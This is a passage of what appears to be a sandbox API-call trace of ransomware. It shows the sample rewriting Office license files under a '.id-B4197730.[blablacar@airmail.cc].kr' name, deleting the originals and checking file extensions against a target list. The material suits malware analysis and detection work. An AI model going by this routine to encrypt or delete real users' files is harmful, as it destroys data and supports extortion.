(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0212.078] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11151) returned 1 [0212.078] CloseHandle (hObject=0x554) returned 1 [0212.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms")) returned 0x220 [0212.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0212.078] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.079] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0212.079] GetLastError () returned 0x0 [0212.079] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0212.081] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0212.082] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0212.082] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0212.082] SetEndOfFile (hFile=0x574) returned 1 [0212.082] CloseHandle (hObject=0x574) returned 1 [0212.082] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.083] SetEndOfFile (hFile=0x554) returned 1 [0212.086] CloseHandle (hObject=0x554) returned 1 [0212.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-pl.xrm-ms")) returned 1 [0212.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.087] lstrlenW (lpString=".doc") returned 4 [0212.087] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.087] lstrlenW (lpString=".docx") returned 5 [0212.087] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.087] lstrlenW (lpString=".pdf") returned 4 [0212.087] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.087] lstrlenW (lpString=".xls") returned 4 [0212.087] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".xlsx") returned 5 [0212.088] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.088] lstrlenW (lpString=".ppt") returned 4 [0212.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.088] lstrlenW (lpString=".zip") returned 4 [0212.088] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".rar") returned 4 [0212.088] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".bz2") returned 4 [0212.088] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".7z") returned 3 [0212.088] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.088] lstrlenW (lpString=".dbf") returned 4 [0212.088] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.088] lstrlenW (lpString=".1cd") returned 4 [0212.088] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.088] lstrlenW (lpString=".jpg") returned 4 [0212.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.088] lstrlenW (lpString=".doc") returned 4 [0212.088] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".docx") returned 5 [0212.088] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.088] lstrlenW (lpString=".pdf") returned 4 [0212.088] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".xls") returned 4 [0212.088] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.088] lstrlenW (lpString=".xlsx") returned 5 [0212.089] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.089] lstrlenW (lpString=".ppt") returned 4 [0212.089] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.089] lstrlenW (lpString=".zip") returned 4 [0212.089] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.089] lstrlenW (lpString=".rar") returned 4 [0212.089] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.089] lstrlenW (lpString=".bz2") returned 4 [0212.089] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.089] lstrlenW (lpString=".7z") returned 3 [0212.089] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.089] lstrlenW (lpString=".dbf") returned 4 [0212.089] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.089] lstrlenW (lpString=".1cd") returned 4 [0212.089] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-pl.xrm-ms") returned 75 [0212.089] lstrlenW (lpString=".jpg") returned 4 [0212.089] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.089] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.089] lstrlenW (lpString="PersonalR_Trial-ppd.xrm-ms") returned 26 [0212.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0212.090] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=21115) returned 1 [0212.090] CloseHandle (hObject=0x554) returned 1 [0212.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms")) returned 0x220 [0212.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0212.091] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.091] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0212.091] GetLastError () returned 0x0 [0212.091] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x527b, lpOverlapped=0x0) returned 1 [0212.093] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5280, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5280, lpOverlapped=0x0) returned 1 [0212.095] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0212.095] WriteFile (in: hFile=0x574, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x108, lpOverlapped=0x0) returned 1 [0212.095] SetEndOfFile (hFile=0x574) returned 1 [0212.095] CloseHandle (hObject=0x574) returned 1 [0212.095] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0212.095] SetEndOfFile (hFile=0x554) returned 1 [0213.116] CloseHandle (hObject=0x554) returned 1 [0213.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_trial-ppd.xrm-ms")) returned 1 [0213.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.118] lstrlenW (lpString=".doc") returned 4 [0213.118] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString=".docx") returned 5 [0213.118] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.118] lstrlenW (lpString=".pdf") returned 4 [0213.118] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString=".xls") returned 4 [0213.118] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString=".xlsx") returned 5 [0213.118] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.118] lstrlenW (lpString=".ppt") returned 4 [0213.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.118] lstrlenW (lpString=".zip") returned 4 [0213.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString=".rar") returned 4 [0213.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString=".bz2") returned 4 [0213.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString=".7z") returned 3 [0213.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.118] lstrlenW (lpString=".dbf") returned 4 [0213.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.118] lstrlenW (lpString=".1cd") returned 4 [0213.119] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.119] lstrlenW (lpString=".jpg") returned 4 [0213.119] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.119] lstrlenW (lpString=".doc") returned 4 [0213.119] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString=".docx") returned 5 [0213.119] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.119] lstrlenW (lpString=".pdf") returned 4 [0213.119] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString=".xls") returned 4 [0213.119] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString=".xlsx") returned 5 [0213.119] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.119] lstrlenW (lpString=".ppt") returned 4 [0213.119] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.119] lstrlenW (lpString=".zip") returned 4 [0213.119] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString=".rar") returned 4 [0213.119] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString=".bz2") returned 4 [0213.119] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString=".7z") returned 3 [0213.119] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.119] lstrlenW (lpString=".dbf") returned 4 [0213.119] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.119] lstrlenW (lpString=".1cd") returned 4 [0213.119] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_Trial-ppd.xrm-ms") returned 76 [0213.120] lstrlenW (lpString=".jpg") returned 4 [0213.120] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.120] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0213.120] lstrlenW (lpString="PowerPointR_OEM_Perp-ppd.xrm-ms") returned 31 [0213.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.121] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=20784) returned 1 [0213.121] CloseHandle (hObject=0x554) returned 1 [0213.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms")) returned 0x220 [0213.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0213.121] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.121] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0213.122] GetLastError () returned 0x0 [0213.122] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x5130, lpOverlapped=0x0) returned 1 [0213.124] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x5140, lpOverlapped=0x0) returned 1 [0213.125] ReadFile (in: hFile=0x554, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0213.125] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x112, lpOverlapped=0x0) returned 1 [0213.126] SetEndOfFile (hFile=0x3c4) returned 1 [0213.126] CloseHandle (hObject=0x3c4) returned 1 [0213.126] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0213.126] SetEndOfFile (hFile=0x554) returned 1 [0213.128] CloseHandle (hObject=0x554) returned 1 [0213.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_oem_perp-ppd.xrm-ms")) returned 1 [0213.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.130] lstrlenW (lpString=".doc") returned 4 [0213.130] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString=".docx") returned 5 [0213.130] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.130] lstrlenW (lpString=".pdf") returned 4 [0213.130] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString=".xls") returned 4 [0213.130] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString=".xlsx") returned 5 [0213.130] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.130] lstrlenW (lpString=".ppt") returned 4 [0213.130] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.130] lstrlenW (lpString=".zip") returned 4 [0213.130] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString=".rar") returned 4 [0213.130] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString=".bz2") returned 4 [0213.130] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.130] lstrlenW (lpString=".7z") returned 3 [0213.130] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.131] lstrlenW (lpString=".dbf") returned 4 [0213.131] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.131] lstrlenW (lpString=".1cd") returned 4 [0213.131] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.131] lstrlenW (lpString=".jpg") returned 4 [0213.131] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.131] lstrlenW (lpString=".doc") returned 4 [0213.131] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString=".docx") returned 5 [0213.131] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0213.131] lstrlenW (lpString=".pdf") returned 4 [0213.131] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString=".xls") returned 4 [0213.131] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString=".xlsx") returned 5 [0213.131] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0213.131] lstrlenW (lpString=".ppt") returned 4 [0213.131] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.131] lstrlenW (lpString=".zip") returned 4 [0213.131] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString=".rar") returned 4 [0213.131] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0213.131] lstrlenW (lpString=".bz2") returned 4 [0213.131] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0213.132] lstrlenW (lpString=".7z") returned 3 [0213.132] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0213.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.132] lstrlenW (lpString=".dbf") returned 4 [0213.132] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0213.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.132] lstrlenW (lpString=".1cd") returned 4 [0213.132] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0213.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_OEM_Perp-ppd.xrm-ms") returned 81 [0213.132] lstrlenW (lpString=".jpg") returned 4 [0213.132] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 